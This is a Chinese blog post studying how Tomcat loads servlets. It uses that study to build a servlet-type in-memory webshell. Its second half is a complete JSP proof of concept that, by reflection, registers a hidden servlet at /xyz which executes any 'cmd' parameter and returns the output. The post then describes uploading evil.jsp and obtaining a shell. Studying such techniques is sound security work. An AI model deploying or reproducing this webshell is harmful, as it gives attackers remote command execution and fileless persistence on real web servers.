Tomcat内存马学习2:Servlet型
0x00 前言
上一篇讲了filter型内存马,而这次这个servlet型内存马也是大同小异,就是在内存中恶意创建一个servlet供攻击者使用
0x01 恶意servlet
class ServletDemo implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public String getServletInfo() {return null;}
@Override
public void destroy() {} public ServletConfig getServletConfig() {return null;}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
}
}
接下来就是研究如何动态注册这个servlet了
0x02 Servlet加载机制
- 利用StandardWrapper封装servlet
- 将StandardWrapper添加到standcontext中
- 加载阶段获取context中所有StandardWrapper
- 执行StandardWrapper.load,在load方法中进行Servlet的加载与初始化
创建StandardWrapper
给StandardContext#startInternal里面的fireLifecycleEvent打上断点,这个方法的作用就是根据web.xml配置文件创建对应servlet的StandardWrapper对象,并将这些对象存储到standcontext的children成员变量中去
跟进fireLifecycleEvent
跟进lifecycleEvent
继续跟进configureStart
这里通过ContextConfig#webConfig()方法解析web.xml获取各种配置参数
因为我们并没有用webxml的配置方式所以这里的webxml为null
往下走来到configureContext,这个是创建StandWrapper对象,并根据解析参数初始化StandWrapper对象
private void configureContext(WebXml webxml) {
// As far as possible, process in alphabetical order so it is easy to
// check everything is present
// Some validation depends on correct public ID
context.setPublicId(webxml.getPublicId());
... //设置StandardContext参数
for (ServletDef servlet : webxml.getServlets().values()) {
//创建StandardWrapper对象
Wrapper wrapper = context.createWrapper();
if (servlet.getLoadOnStartup() != null) {
//设置LoadOnStartup属性
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
//设置ServletName属性
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
//设置ServletClass属性
wrapper.setServletClass(servlet.getServletClass());
...
wrapper.setOverridable(servlet.isOverridable());
//将包装好的StandWrapper添加进ContainerBase的children属性中
context.addChild(wrapper);
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
//添加路径映射
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
}
...
}
!!!这里就来到了重要的地方,通过context创建wrapper对象并将servlet封装在里面
首先在965行创建一个standwrapper对象
然后设置wrapper的LoadOnStartup值,值根据servlet.getLoadOnStartup()获得,而这里的servlet为我们的Test servlet。这里设置为了-1
这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过
loadOnStartup
属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被访问时才加载到内存中。针对设置了 loadOnStartup 属性的 Servlet 而言即将其值设置为1,会在系统加载的时候创建具体的处理实例对象
在没有配置load-on-startup 属性的 Servlet 而言,是不会在系统加载的时候创建具体的处理实例对象,依旧还只是个配置记录在Context中。真正的创建则是在第一次被请求的时候,才会实例化
然后在973行设置了ServletName属性
然后设置了wrapper的ServletClass属性
此时一个封装了Test servlet的standwrapper对象初始化完毕,接下来在1017行将其添加到standcontext的children成员变量中去
然后在1024行通过addServletMappingDecoded()
方法添加Servlet对应的url映射
至此,Test servlet的standwrapper初始化完毕并添加到了standcontext中去。接下来就到了加载standwrapper环节
回顾一下这一阶段干的事情:
- ContextConfig#webConfig()解析web.xml获取各种配置参数
- 通过configureContext(webXml)创建StandWrapper对象,在其中会根据对应servlet信息对其进行初始化
- 将初始化后的StandWrapper对象添加到standcontext中并添加路由映射
standcontext中有两个变量需要关注,一个是children(保存StandWrapper对象的地方),一个是servletMappings(保存映射关系的地方)
加载StandardWrapper
上一阶段我们初始化了standwrapper,现在就开始加载standwrapper。
回到刚开始创建StandardWrapper的地方,继续往下走
在3049行,通过findChildren()
获取所有的StandardWrapper
类
然后依次加载完Listener、Filter后,就通过loadOnStartUp()
方法加载wrapper
加载Listener
加载filter
最后通过loadOnStartUp()
方法加载wrapper
跟进loadOnStartUp
只有当loadOnStartup大于0时才会将该wrapper加入到list中,并最终进行load加载
走到2919行就完成了我们wrapper的加载,也就是这个load函数。至此Servlet才被加载到内存中。
回顾一下这一阶段干的事情:
- 获取standcontext中所有的standwrapper对象
- 判断standwrapper对象的loadOnStartup是否大于零
- 对符合条件的standwrapper对象执行其load方法,在此过程中完成Servlet的加载与初始化
0x03 Servlet内存马
熟悉了整个servlet加载流程后,我们开始创建Servlet内存马
- 编写恶意Servlet
- 获取
StandardContext
对象 - 通过
StandardContext.createWrapper()
创建StandardWrapper
对象 - 设置
StandardWrapper
对象的loadOnStartup
属性值 - 设置
StandardWrapper
对象的ServletName
属性值 - 设置
StandardWrapper
对象的instance
属性值 - 设置
StandardWrapper
对象的ServletClass
属性值 - 将
StandardWrapper
对象添加进StandardContext
对象的children
属性中 - 通过
StandardContext.addServletMappingDecoded()
添加对应的路径映射 - 完成恶意Servlet的动态注册
POC如下:
将恶意servlet封装为standwrapper并添加到standcontext中并设置路由映射从而完成恶意servlet的动态注册
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>
<%
class ServletDemo implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public String getServletInfo() {return null;}
@Override
public void destroy() {} public ServletConfig getServletConfig() {return null;}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
}
}
%>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
ServletDemo demo = new ServletDemo();
org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();
//设置Servlet名等
demoWrapper.setName("xyz");
demoWrapper.setLoadOnStartup(1);
demoWrapper.setServlet(demo);
demoWrapper.setServletClass(demo.getClass().getName());
standardContext.addChild(demoWrapper);
//设置ServletMap
standardContext.addServletMapping("/xyz", "xyz");
out.println("inject servlet success!");
%>
0x04 漏洞复现
上传evil.jsp到服务器,并执行。显示inject servlet success!说明内存马注入成功
此时服务器上存在一个我们自己编写的servlet在工作,路径为/xyz
访问一下,成功拿到shell
0x05 总结
- 必须搞懂servlet的加载机制(创建standwrapper,添加到standcontext中,加载standwrapper)
- 在此加载机制基础上,设计出servlet内存马poc
0x06 参考文章
https://goodapple.top/archives/1355
https://www.cnblogs.com/CoLo/p/15782888.html
https://www.freebuf.com/articles/web/322580.html
https://uuzdaisuki.com/2021/06/29/tomcat%E6%97%A0%E6%96%87%E4%BB%B6%E5%86%85%E5%AD%98webshell